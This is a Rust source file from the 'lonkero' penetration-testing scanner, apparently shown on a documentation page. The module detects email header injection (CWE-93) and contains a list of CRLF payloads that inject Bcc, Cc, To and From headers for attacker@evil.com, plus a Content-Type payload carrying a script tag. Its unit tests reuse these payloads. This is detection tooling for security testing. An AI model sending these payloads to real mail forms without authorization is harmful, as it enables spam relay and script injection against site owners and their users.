lonkero 3.6.2

Web scanner built for actual pentests. Fast, modular, Rust.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
// Copyright (c) 2026 Bountyy Oy. All rights reserved.
// This software is proprietary and confidential.

use crate::http_client::HttpClient;
use crate::scanners::parameter_filter::{ParameterFilter, ScannerType};
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use std::sync::Arc;
use tracing::{debug, info};

pub struct EmailHeaderInjectionScanner {
    http_client: Arc<HttpClient>,
}

impl EmailHeaderInjectionScanner {
    pub fn new(http_client: Arc<HttpClient>) -> Self {
        Self { http_client }
    }

    /// Scan a parameter for email header injection vulnerabilities
    pub async fn scan_parameter(
        &self,
        url: &str,
        param_name: &str,
        _config: &ScanConfig,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        // License check
        if !crate::license::verify_scan_authorized() {
            return Err(anyhow::anyhow!(
                "Scan not authorized. Please check your license."
            ));
        }

        // Smart parameter filtering - skip framework internals
        if ParameterFilter::should_skip_parameter(param_name, ScannerType::Other) {
            debug!(
                "[Email] Skipping framework/internal parameter: {}",
                param_name
            );
            return Ok((Vec::new(), 0));
        }

        let mut vulnerabilities = Vec::new();
        let mut tests_run = 0;

        info!(
            "[Email] Testing email header injection on parameter: {} (priority: {})",
            param_name,
            ParameterFilter::get_parameter_priority(param_name)
        );

        // Get baseline response with normal email
        let baseline_value = "test@example.com";
        let baseline_url = if url.contains('?') {
            format!("{}&{}={}", url, param_name, baseline_value)
        } else {
            format!("{}?{}={}", url, param_name, baseline_value)
        };

        let baseline_response = match self.http_client.get(&baseline_url).await {
            Ok(resp) => Some(resp),
            Err(e) => {
                debug!("Baseline request failed: {}", e);
                None
            }
        };

        // Test various email header injection payloads
        let payloads = vec![
            // BCC injection (URL encoded)
            (
                "test@example.com%0d%0aBcc:attacker@evil.com",
                "BCC header injection (URL encoded)",
            ),
            (
                "test@example.com%0aBcc:attacker@evil.com",
                "BCC header injection (LF only)",
            ),
            (
                "test@example.com\r\nBcc:attacker@evil.com",
                "BCC header injection (literal CRLF)",
            ),
            // CC injection
            (
                "test@example.com%0d%0aCc:attacker@evil.com",
                "CC header injection (URL encoded)",
            ),
            (
                "test@example.com%0aCc:attacker@evil.com",
                "CC header injection (LF only)",
            ),
            (
                "test@example.com\r\nCc:attacker@evil.com",
                "CC header injection (literal CRLF)",
            ),
            // To header injection
            (
                "test@example.com%0d%0aTo:attacker@evil.com",
                "To header injection (URL encoded)",
            ),
            (
                "test@example.com%0aTo:attacker@evil.com",
                "To header injection (LF only)",
            ),
            (
                "test@example.com\r\nTo:attacker@evil.com",
                "To header injection (literal CRLF)",
            ),
            // Subject injection
            (
                "test@example.com%0d%0aSubject:Injected Subject",
                "Subject header injection",
            ),
            (
                "test@example.com%0aSubject:Spam%20Message",
                "Subject injection (LF)",
            ),
            // Reply-To injection
            (
                "test@example.com%0d%0aReply-To:attacker@evil.com",
                "Reply-To header injection",
            ),
            // From header injection
            (
                "test@example.com%0d%0aFrom:attacker@evil.com",
                "From header injection",
            ),
            // Content-Type injection (email body manipulation)
            (
                "test@example.com%0d%0aContent-Type:text/html",
                "Content-Type header injection",
            ),
            (
                "test@example.com%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>",
                "Content-Type with XSS payload",
            ),
            (
                "test@example.com%0d%0aContent-Type:text/html%0d%0a%0d%0a<h1>Injected HTML</h1>",
                "Content-Type with HTML injection",
            ),
            // Multiple headers
            (
                "test@example.com%0d%0aBcc:attacker@evil.com%0d%0aSubject:Injected",
                "Multiple header injection (BCC + Subject)",
            ),
            (
                "test@example.com%0aBcc:attacker@evil.com%0aCc:spam@evil.com",
                "Multiple recipient injection",
            ),
            // Double encoding attempts
            (
                "test@example.com%250d%250aBcc:attacker@evil.com",
                "BCC injection (double encoded)",
            ),
            // Unicode variants
            (
                "test@example.com%E5%98%8A%E5%98%8DBcc:attacker@evil.com",
                "BCC injection (Unicode CRLF)",
            ),
            // Null byte variants
            (
                "test@example.com%00%0d%0aBcc:attacker@evil.com",
                "BCC injection (null byte + CRLF)",
            ),
            // Body injection via double CRLF
            (
                "test@example.com%0d%0a%0d%0aInjected email body content",
                "Email body injection",
            ),
        ];

        for (payload, description) in payloads {
            tests_run += 1;

            let test_url = if url.contains('?') {
                format!("{}&{}={}", url, param_name, payload)
            } else {
                format!("{}?{}={}", url, param_name, payload)
            };

            match self.http_client.get(&test_url).await {
                Ok(response) => {
                    // Convert HashMap headers to Vec of tuples
                    let headers_vec: Vec<(String, String)> = response
                        .headers
                        .iter()
                        .map(|(k, v)| (k.clone(), v.clone()))
                        .collect();
                    if let Some(vuln) = self.analyze_response(
                        &response.body,
                        &headers_vec,
                        baseline_response.as_ref(),
                        payload,
                        description,
                        &test_url,
                        param_name,
                    ) {
                        info!(
                            "Email header injection vulnerability detected: {}",
                            description
                        );
                        vulnerabilities.push(vuln);
                        break; // Found vulnerability, move to next parameter
                    }
                }
                Err(e) => {
                    debug!("Request failed: {}", e);
                }
            }
        }

        Ok((vulnerabilities, tests_run))
    }

    /// Scan endpoint for email header injection (general scan)
    ///
    /// IMPORTANT: This scan ONLY runs when there's evidence of email functionality.
    /// It will NOT blindly test invented parameters on arbitrary sites.
    pub async fn scan(
        &self,
        url: &str,
        _config: &ScanConfig,
    ) -> anyhow::Result<(Vec<Vulnerability>, usize)> {
        // License check
        if !crate::license::verify_scan_authorized() {
            return Err(anyhow::anyhow!(
                "Scan not authorized. Please check your license."
            ));
        }

        // First, check if this site has email functionality by fetching the page
        // and looking for contact forms or email-related endpoints
        let has_email_functionality = match self.http_client.get(url).await {
            Ok(response) => {
                let body_lower = response.body.to_lowercase();

                // Check for evidence of email functionality
                let has_contact_form = body_lower.contains("contact")
                    && (body_lower.contains("<form") || body_lower.contains("action="));
                let has_email_form = body_lower.contains("email")
                    && body_lower.contains("<form")
                    && (body_lower.contains("type=\"email\"")
                        || body_lower.contains("type='email'"));
                let has_mail_endpoint = body_lower.contains("/mail")
                    || body_lower.contains("/contact")
                    || body_lower.contains("/send")
                    || body_lower.contains("/subscribe")
                    || body_lower.contains("mailto:");
                let has_smtp_hints = body_lower.contains("smtp")
                    || body_lower.contains("sendmail")
                    || body_lower.contains("phpmailer");

                has_contact_form || has_email_form || has_mail_endpoint || has_smtp_hints
            }
            Err(_) => false,
        };

        // If no email functionality detected, skip this scanner entirely
        // This prevents false positives on static sites, SPAs without email features, etc.
        if !has_email_functionality {
            debug!(
                "No email functionality detected on {}, skipping email header injection scan",
                url
            );
            return Ok((Vec::new(), 1)); // 1 test = the initial check
        }

        info!("Email functionality detected, proceeding with email header injection scan");

        let mut all_vulnerabilities = Vec::new();
        let mut total_tests = 1; // Count the initial check

        // Only test email-related parameter names if we confirmed email functionality exists
        let email_params = vec![
            "email".to_string(),
            "to".to_string(),
            "from".to_string(),
            "subject".to_string(),
            "message".to_string(),
            "contact".to_string(),
            "reply".to_string(),
            "replyto".to_string(),
            "reply_to".to_string(),
            "mail".to_string(),
            "recipient".to_string(),
            "sender".to_string(),
        ];

        for param in email_params {
            let (vulns, tests) = self.scan_parameter(url, &param, _config).await?;
            all_vulnerabilities.extend(vulns);
            total_tests += tests;

            // If we found a vulnerability, we can stop testing
            if !all_vulnerabilities.is_empty() {
                break;
            }
        }

        Ok((all_vulnerabilities, total_tests))
    }

    /// Analyze response for email header injection indicators
    fn analyze_response(
        &self,
        body: &str,
        headers: &[(String, String)],
        baseline_response: Option<&crate::http_client::HttpResponse>,
        payload: &str,
        _description: &str,
        url: &str,
        param_name: &str,
    ) -> Option<Vulnerability> {
        let body_lower = body.to_lowercase();

        // Check for error messages that indicate email header processing
        let error_indicators = vec![
            "header",
            "injection",
            "invalid email",
            "invalid header",
            "mail header",
            "email header",
            "invalid recipient",
            "invalid sender",
            "malformed",
        ];

        for indicator in &error_indicators {
            if body_lower.contains(indicator)
                && (body_lower.contains("error") || body_lower.contains("invalid"))
            {
                // Compare with baseline to see if this is a different error
                if let Some(baseline) = baseline_response {
                    if !baseline.body.to_lowercase().contains(indicator) {
                        return Some(self.create_vulnerability(
                            url,
                            param_name,
                            payload,
                            "Email header injection - Error message indicates header processing",
                            &format!("Response contains error message with '{}', suggesting email header injection was processed", indicator),
                            Confidence::Medium,
                        ));
                    }
                }
            }
        }

        // Check for success messages that might indicate email was sent
        let success_indicators = vec![
            "email sent",
            "message sent",
            "sent successfully",
            "delivered",
            "thank you",
            "confirmation",
            "your message has been sent",
        ];

        // If payload contains header injection and we see success message -> likely vulnerable
        if payload.contains("Bcc:") || payload.contains("Cc:") || payload.contains("To:") {
            for indicator in &success_indicators {
                if body_lower.contains(indicator) {
                    // Check if baseline also has success message (to reduce false positives)
                    let baseline_has_success = if let Some(baseline) = baseline_response {
                        baseline.body.to_lowercase().contains(indicator)
                    } else {
                        false
                    };

                    // If baseline also succeeds, we need stronger evidence
                    // Look for different response size or additional indicators
                    if !baseline_has_success {
                        return Some(self.create_vulnerability(
                            url,
                            param_name,
                            payload,
                            "Email header injection - Success message with header injection payload",
                            &format!("Email appears to be sent successfully with injected headers. Response: '{}'", indicator),
                            Confidence::High,
                        ));
                    } else if let Some(baseline) = baseline_response {
                        // Check if response differs significantly from baseline
                        let size_diff = (body.len() as i64 - baseline.body.len() as i64).abs();
                        if size_diff > 50 {
                            // Significant size difference
                            return Some(self.create_vulnerability(
                                url,
                                param_name,
                                payload,
                                "Email header injection - Response differs from baseline",
                                &format!("Response size differs by {} bytes when header injection is attempted", size_diff),
                                Confidence::Medium,
                            ));
                        }
                    }
                }
            }
        }

        // Check for reflected CRLF characters in response
        if payload.contains("%0d%0a") || payload.contains("\r\n") || payload.contains("%0a") {
            // Look for literal CRLF in body
            if body.contains("\r\n") && body.contains("Bcc:")
                || body.contains("\r\n") && body.contains("Cc:")
                || body.contains("\r\n") && body.contains("Subject:")
            {
                return Some(self.create_vulnerability(
                    url,
                    param_name,
                    payload,
                    "Email header injection - CRLF with email headers reflected",
                    "CRLF characters with email headers (Bcc/Cc/Subject) found in response",
                    Confidence::High,
                ));
            }
        }

        // Check for injected email addresses in response
        if payload.contains("attacker@evil.com") && body.contains("attacker@evil.com") {
            // Check if this wasn't in baseline
            let in_baseline = if let Some(baseline) = baseline_response {
                baseline.body.contains("attacker@evil.com")
            } else {
                false
            };

            if !in_baseline {
                return Some(self.create_vulnerability(
                    url,
                    param_name,
                    payload,
                    "Email header injection - Injected email address reflected",
                    "Injected email address 'attacker@evil.com' appears in response",
                    Confidence::Medium,
                ));
            }
        }

        // Check for Content-Type injection with HTML/script content
        // IMPORTANT: Only flag if our EXACT injected script appears, not just any <script> tag
        // Normal websites have <script> tags - that's not a vulnerability!
        if payload.contains("<script>alert(1)</script>")
            && body.contains("<script>alert(1)</script>")
        {
            // Also verify that the payload was actually processed (not just in a static page)
            // Check if this is NOT a normal HTML page that would already have scripts
            if !body.contains("<!DOCTYPE") && !body.contains("<html") {
                return Some(self.create_vulnerability(
                    url,
                    param_name,
                    payload,
                    "Email header injection with XSS",
                    "Email header injection allows script injection via Content-Type header",
                    Confidence::High,
                ));
            }
        }

        // Check for HTML injection via Content-Type
        if payload.contains("<h1>") && body.contains("<h1>Injected HTML</h1>") {
            return Some(self.create_vulnerability(
                url,
                param_name,
                payload,
                "Email header injection with HTML injection",
                "Email header injection allows HTML content injection via Content-Type header",
                Confidence::High,
            ));
        }

        // Check response headers for any reflection
        for (key, value) in headers {
            let key_lower = key.to_lowercase();
            let value_lower = value.to_lowercase();

            // Check if email-related headers were set
            if (key_lower == "x-mailer" || key_lower.contains("mail") || key_lower.contains("smtp"))
                && (value_lower.contains("bcc") || value_lower.contains("attacker"))
            {
                return Some(self.create_vulnerability(
                    url,
                    param_name,
                    payload,
                    "Email header injection - Mail-related response headers",
                    &format!(
                        "Suspicious mail-related header detected: {}: {}",
                        key, value
                    ),
                    Confidence::Medium,
                ));
            }
        }

        None
    }

    /// Create a vulnerability record
    fn create_vulnerability(
        &self,
        url: &str,
        param_name: &str,
        payload: &str,
        description: &str,
        evidence: &str,
        confidence: Confidence,
    ) -> Vulnerability {
        let verified = matches!(confidence, Confidence::High);

        Vulnerability {
            id: format!("email_header_injection_{}", uuid::Uuid::new_v4()),
            vuln_type: "Email Header Injection".to_string(),
            severity: Severity::Medium,
            confidence,
            category: "Injection".to_string(),
            url: url.to_string(),
            parameter: Some(param_name.to_string()),
            payload: payload.to_string(),
            description: format!(
                "Email header injection vulnerability in parameter '{}': {}",
                param_name, description
            ),
            evidence: Some(evidence.to_string()),
            cwe: "CWE-93".to_string(),
            cvss: 6.1,
            verified,
            false_positive: false,
            remediation: "1. Sanitize all CRLF characters (\\r\\n, %0d%0a, %0a, %0d) from email-related input\n\
                         2. Validate email addresses using strict RFC-compliant regex patterns\n\
                         3. Use email library functions that automatically escape headers\n\
                         4. Reject input containing newline characters in email headers\n\
                         5. Implement allowlists for email header values\n\
                         6. Use parameterized email sending functions\n\
                         7. Consider using a dedicated email service (SendGrid, AWS SES) with built-in protections\n\
                         8. Log and monitor for email header injection attempts".to_string(),
            discovered_at: chrono::Utc::now().to_rfc3339(),
                ml_data: None,
        }
    }
}

// UUID generation helper
mod uuid {
    use rand::Rng;

    pub struct Uuid;

    impl Uuid {
        pub fn new_v4() -> String {
            let mut rng = rand::rng();
            format!(
                "{:08x}-{:04x}-{:04x}-{:04x}-{:012x}",
                rng.random::<u32>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u16>(),
                rng.random::<u64>() & 0xffffffffffff
            )
        }
    }
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::detection_helpers::AppCharacteristics;
    use crate::http_client::HttpClient;
    use std::sync::Arc;

    fn create_test_scanner() -> EmailHeaderInjectionScanner {
        let http_client = Arc::new(HttpClient::new(30, 3).unwrap());
        EmailHeaderInjectionScanner::new(http_client)
    }

    #[test]
    fn test_analyze_error_message() {
        let scanner = create_test_scanner();

        let body = "Error: Invalid email header detected";
        let headers = vec![];

        let result = scanner.analyze_response(
            body,
            &headers,
            None,
            "test@example.com%0d%0aBcc:attacker@evil.com",
            "BCC injection",
            "http://example.com",
            "email",
        );

        assert!(result.is_some());
        let vuln = result.unwrap();
        assert_eq!(vuln.vuln_type, "Email Header Injection");
        assert_eq!(vuln.severity, Severity::Medium);
        assert_eq!(vuln.cwe, "CWE-93");
        assert_eq!(vuln.cvss, 6.1);
    }

    #[test]
    fn test_analyze_success_message() {
        let scanner = create_test_scanner();

        let body = "Thank you! Your email has been sent successfully.";
        let headers = vec![];

        let result = scanner.analyze_response(
            body,
            &headers,
            None,
            "test@example.com%0d%0aBcc:attacker@evil.com",
            "BCC injection",
            "http://example.com",
            "email",
        );

        assert!(result.is_some());
        let vuln = result.unwrap();
        assert_eq!(vuln.confidence, Confidence::High);
    }

    #[test]
    fn test_analyze_reflected_crlf() {
        let scanner = create_test_scanner();

        let body = "Processing email to:\r\nBcc:attacker@evil.com";
        let headers = vec![];

        let result = scanner.analyze_response(
            body,
            &headers,
            None,
            "test@example.com%0d%0aBcc:attacker@evil.com",
            "BCC injection",
            "http://example.com",
            "email",
        );

        assert!(result.is_some());
        let vuln = result.unwrap();
        assert!(vuln.description.contains("CRLF"));
    }

    #[test]
    fn test_analyze_xss_via_content_type() {
        let scanner = create_test_scanner();

        let body = "<script>alert(1)</script>";
        let headers = vec![];

        let result = scanner.analyze_response(
            body,
            &headers,
            None,
            "test@example.com%0d%0aContent-Type:text/html%0d%0a%0d%0a<script>alert(1)</script>",
            "Content-Type with XSS",
            "http://example.com",
            "email",
        );

        assert!(result.is_some());
        let vuln = result.unwrap();
        assert!(vuln.description.contains("XSS"));
    }

    #[test]
    fn test_analyze_safe_response() {
        let scanner = create_test_scanner();

        let body = "Normal email form page";
        let headers = vec![("Content-Type".to_string(), "text/html".to_string())];

        let result = scanner.analyze_response(
            body,
            &headers,
            None,
            "test@example.com",
            "Normal email",
            "http://example.com",
            "email",
        );

        assert!(result.is_none());
    }

    #[test]
    fn test_create_vulnerability() {
        let scanner = create_test_scanner();

        let vuln = scanner.create_vulnerability(
            "http://example.com/contact",
            "email",
            "test@example.com%0d%0aBcc:attacker@evil.com",
            "Email header injection - BCC injection",
            "Injected BCC header detected in response",
            Confidence::High,
        );

        assert_eq!(vuln.vuln_type, "Email Header Injection");
        assert_eq!(vuln.severity, Severity::Medium);
        assert_eq!(vuln.parameter, Some("email".to_string()));
        assert_eq!(vuln.cwe, "CWE-93");
        assert_eq!(vuln.cvss, 6.1);
        assert!(vuln.verified);
        assert!(vuln.remediation.contains("CRLF"));
    }
}